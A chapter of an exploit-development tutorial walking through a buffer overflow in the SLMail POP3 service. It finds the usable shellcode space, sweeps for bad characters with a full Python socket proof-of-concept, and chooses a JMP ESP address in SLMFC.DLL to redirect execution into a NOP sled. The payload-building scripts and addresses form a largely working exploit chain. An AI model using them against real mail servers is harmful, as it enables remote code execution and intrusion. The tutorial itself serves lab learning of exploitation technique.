<<< prev :: next >>>


In the last section, we asserted control over the EIP register. This allows us to redirect the flow of control to a place of our choosing… But will we be able to send it somewhere useful? In this section, we’ll explore our options and see if we can find a safe place to inject our shellcode.


Getting Situated

Let’s take another look at the registers from the final crash in the last section:

EIP Owned

Notice how the ESP register (the stack pointer) is pointing at ASCII "CCCC...? In one of our earlier crashes ESP pointed to ASCII "BBBB...:

ESP BBBB

It seems pretty clear that ESP is pointing to part of the payload sent by the script. Let’s see if we can find where ESP begins. First, I click the ESP register, then I right-click and select “Follow in Dump”:

Follow in Dump

This takes me to the memory location stored in the ESP register, which happens to align with the beginning of the C’s:

ESP Start

Excellent! If we place our shellcode immediately after the EIP overwrite bytes in the payload, we can execute a JMP ESP to execute the shellcode (assuming we can find a reliable JMP ESP – more on this later). And since the total payload size is 4,089 bytes, and the C’s start at byte 2,610 (EIP offset + 4 bytes), there should be 1,479 bytes for our shellcode, right?

Well… Not necessarily. Just because 4,089 bytes are transferred to the target doesn’t mean all 4,089 bytes are preserved in-memory. In fact, taking a closer look at the stack dump, we can see the end of the C’s comes much sooner than expected. The beginning of the C’s is at memory location 0182A128, yet the C’s end the byte before 0182A2D6:

ESP End

Subtracting the former from the latter, we come up with 1AE, which equals 430 in base-10. In other words, instead of our predicted 1,479 bytes, we’ve only got 430 bytes of space for our shellcode. To be honest, this should be more than enough for most purposes. We could likely find a way to redirect flow to the start of the A section, which (at a glance) looks to be at least twice the size of the C section, but in order to avoid making this any more complicated than it needs to be, we’ll stick to the C’s.

I make a copy of slmail_bof_8.py into slmail_bof_9.py and update the script to make note of the maximum shellcode size:

  ...
# Exploit details.
MAXIMUM_PAYLOAD = 4089
MAXIMUM_SHELLCODE = 430
EIP_OFFSET = 2606

PAYLOAD = b""
PAYLOAD += b"A" * EIP_OFFSET
PAYLOAD += b"B" * 4 # EIP overwrite.
PAYLOAD += b"C" * MAXIMUM_SHELLCODE
PAYLOAD += b"D" * (MAXIMUM_PAYLOAD - len(PAYLOAD))

OVERFLOW = False
  ...

The Good, the Bad, and the Ugly

Before we go any further, we should take a moment to scan for “bad characters,” specific characters that could break our payload or cause unpredictable behavior. For example, if \x00 is used to designate the end of a string in-memory, then an errant \x00 halfway through your payload would cause the remainer to get cut off, resulting in failed exploitation.

To find bad characters, we’re going to send all 256 possible single-byte characters to the client, over and over, each time removing any bad characters we find, until no more are found. First we’ll clone slmail_bof_9.py into slmail_bof_10.py and modify it to include the character-sweep in the payload location:

#!/usr/bin/env python3.7

"""SLMail BoF PoC: Scan for bad characters."""

import socket

# Socket information.
TARGET_ADDR = "10.10.10.101"
TARGET_PORT = 110
SOCKET_TIMEOUT = 10

# Exploit details.
MAXIMUM_PAYLOAD = 4089
MAXIMUM_SHELLCODE = 430
EIP_OFFSET = 2606
BAD_CHARS = b""

# Bad character sweep.
HEX_CHARS = "0123456789ABCDEF"
SWEEP = b"".join(
    BYTE
    for BYTE in [
        bytes.fromhex(f"{A}{B}") for A in HEX_CHARS for B in HEX_CHARS
    ]
    if BYTE not in BAD_CHARS
)

PAYLOAD = b""
PAYLOAD += b"A" * EIP_OFFSET
PAYLOAD += b"B" * 4  # EIP overwrite.
PAYLOAD += SWEEP
PAYLOAD += b"C" * (MAXIMUM_SHELLCODE - len(SWEEP))
PAYLOAD += b"D" * (MAXIMUM_PAYLOAD - len(PAYLOAD))

OVERFLOW = False
try:
    print("[*] Connecting...")
    SOCKET = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    SOCKET.settimeout(SOCKET_TIMEOUT)
    SOCKET.connect((TARGET_ADDR, TARGET_PORT))
    SOCKET.recv(1024)
    SOCKET.send(b"USER test\r\n")
    SOCKET.recv(1024)
    print("[<] Sending payload...")
    SOCKET.send(b"PASS " + PAYLOAD + b"\r\n")
    OVERFLOW = not SOCKET.recv(1024)
    SOCKET.send(b"QUIT\r\n")
except (socket.timeout, ConnectionResetError):
    OVERFLOW = True
except ConnectionRefusedError:
    print("[!] Connection refused. Is the server running?")
finally:
    SOCKET.close()

print("[!] BoF Success!" if OVERFLOW else "[!] BoF Failed.")

I restart SLMail and run the script. The service crashes, and I follow ESP in the dump as before:

No Survivors

It seems that none of the bytes survived: the payload was truncated after the four B’s of the EIP Overwrite. This isn’t surprising: the first byte that followed was \x00, which (as suggested earlier) designates the end of the string in memory, causing all following bytes to be lost.

I add \x00 to the BAD_CHARS variable, restart SLMail, and run the script again. This time, a few characters get through, but then things break following \x09:

`\x0A` break

It appears as if \x0A breaks the payload as well. I restart SLMail, add \x0A to the BAD_CHARS list, and run the script again. I do this repeatedly, seeking out any characters that cause aberrant behavior, until all bad characters are removed. In the end, I determine that there are only three bad characters: \x00, \x0A, and \x0D. This makes sense, because while \x00 terminates strings, \x0A and \x0D (\n and \r, respectively) are sent at the end of POP3 commands. Where \x00 and \x0A truncate all following bytes, \x0D is simply removed from the payload, as if it had never been sent, while the remainder of the payload stays intact.

Knowing which characters are “forbidden” in our payload will enable us to avoid accidental errors and frustrations down the line.


Look Before You Leap

All our work so far won’t do us any good if we can’t redirect the flow of execution to the start of the C’s. We have control over EIP, but this is simply a pointer to a memory location, and (in case you haven’t noticed), the memory location is inconsistent between crashes. (Look back at the two screenshots at the top of this post: In the first, ESP points at 0182A128, whereas in the second, ESP points at 0236A128.) For this reason, we can’t simply set EIP to the memory address of ESP. Instead, we’ll have to find another way to redirect flow to ESP.

Fortunately, the JMP ESP command will do exactly that. If we can find a JMP ESP with a predictable memory location, we can simply set EIP to that location, and control will redirect to ESP.

To find a good candidate, we’ll use the Mona module. To start with, type !mona modules in the Immunity command-line:

Mona Modules

We want to find a module that doesn’t have Address-Space Layout Randomization (ASLR) or any of the other protections that could prevent our exploitation attempt. Looking at the list, a few stand out:

Module ASLR OS Dll Memory Location
ARM.dll False False 0x001C0000 to 0x001EA000
Openc32.dll False True 0x10000000 to 0x10007000
SLmail.exe False False 0x00400000 to 0x0045C000
SLMFC.DLL False True 0x5F400000 to 0x5F4F4000

Which of these should we investigate further? Well, consider the following:

  1. The value of EIP is overwritten by part of the payload.
  2. The \x00 character breaks the payload.
  3. The ARM.dll, Openc32.dll and SLmail.exe modules all have \x00 in the first two bytes of their memory addresses.
  4. SLMFC.DLL has \x5F and \x40 in the first two bytes, neither of which are forbidden characters.

Considering our options, it looks like SLMFC.DLL is our only viable option. Let’s check and see if we can find a JMP ESP somewhere in the module.

Unfortunately, searching for a JMP ESP in executable memory isn’t as easy as searching through a text file. To aid the process, we’ll be using another part of the Metasploit framework: msf-metasm_shell. The script will translate assembly language into binary code, which we can use to find our jump:

root@haxys:~/ShareDrive/BoF-SLMail# msf-metasm_shell
type "exit" or "quit" to quit
use ";" or "\n" for newline
type "file <file>" to parse a GAS assembler source file

metasm > jmp esp
"\xff\xe4"

According to msf-metasm_shell, JMP ESP translates to \xFF\xE4 in binary. Returning to Immunity, I once again employ Mona to help me find what I seek:

Find `JMP`

The !mona find -s "\xFF\xE4" -m slfmc.dll command tells Mona to search through slfmc.dll to see if it can find the JMP ESP instruction. Mona returns a list of memory locations where the JMP ESP was found. The first location is at 0x5F4A358F. Since this memory location contains no bad characters, it should be a safe location for use in our exploit.

I make a clone of slmail_bof_10.py into slmail_bof_11.py and update it with the new information:

  ...
# Exploit details.
MAXIMUM_PAYLOAD = 4089
MAXIMUM_SHELLCODE = 430
EIP_OFFSET = 2606
BAD_CHARS = b"\x00\x0A\x0D"
JMP_ESP = b"\x8F\x35\x4A\x5F"  # JMP ESP in slmfc.dll. (0x5F4A358F)

# Construct payload.
PAYLOAD = b""
PAYLOAD += b"A" * EIP_OFFSET
PAYLOAD += JMP_ESP  # Overwrite EIP with JMP ESP memory location.
PAYLOAD += b"\x90" * MAXIMUM_SHELLCODE  # NOP Sled for PoC.
PAYLOAD += b"D" * (MAXIMUM_PAYLOAD - len(PAYLOAD))

OVERFLOW = False
  ...

There are a couple things to take note of:

  1. The JMP_ESP variable stores the memory location of the JMP ESP we discovered. However, due to endianness, the memory location was reversed from 0x5F4A358F to \x8F\x35\x4A\x5F.
  2. I added 430 NOPs (\x90) in place of the shellcode, so I can ensure that I control the flow of execution. This is called a NOP Sled.

A Note About NOPs

The \x90 character is interpreted by the computer as the NOP instruction, which does nothing but pass execution on to the following command. A NOP Sled or NOP Slide is a long sequence of NOPs chained together to create a section of memory which simply routes the flow of execution forward, like sledding down a hill, into the commands that follow. They’ve been a popular tool in exploit development for many reasons, which are mostly beyond the scope of this tutorial. If you’d like to learn more, read the Wikipedia pages I linked to earlier in this paragraph.


Making the Jump

Before I can test this script, I’ll need to restart SLMail, then set a breakpoint at the location of the JMP ESP. The following instructions will explain this process.

Once SLMail has restarted, I right-click the top-left frame of Immunity, then click Go To > Expression (or hit Ctrl+G):

Goto Expression

In the pop-up box, I enter the memory location of the JMP ESP instruction:

JMP ESP

Then I hit Enter. Immunity might not take you to the right memory address right away; feel free to repeat the “Goto Expression” process again until it takes you to the correct address.

With the correct address loaded, I right-click the address, then click Breakpoint > Toggle (or hit F2). This tells the system to pause when this memory address is executed.

Toggle Breakpoint

Finally, I execute the PoC script. The buffer overflow is triggered, but the PoC successfully redirects the flow to the JMP ESP breakpoint, pausing script execution:

Breakpoint Triggered

Clicking Debug > Step Into (or hitting F7) allows me to proceed to the next step in the flow of execution:

Step Into

If all goes well, execution will be redirected to the beginning of the NOP sled:

NOP Sled

Excellent! Hitting F7 a few more times shows that the program is executing each NOP in turn. We have now successfully redirected the flow of execution to the start of our SHELLCODE section, and we’ve observed our injected NOP Sled being executed. This demonstrates that an RCE exploit might be possible, but a NOP Sled isn’t terribly impressive…


The End is Nigh

We’re almost through with our first Buffer Overflow exploit! How exciting. In the next section, we’ll tackle the process of developing useful shellcode for both Proof-of-Concept and “weaponized” exploits.


<<< prev :: next >>>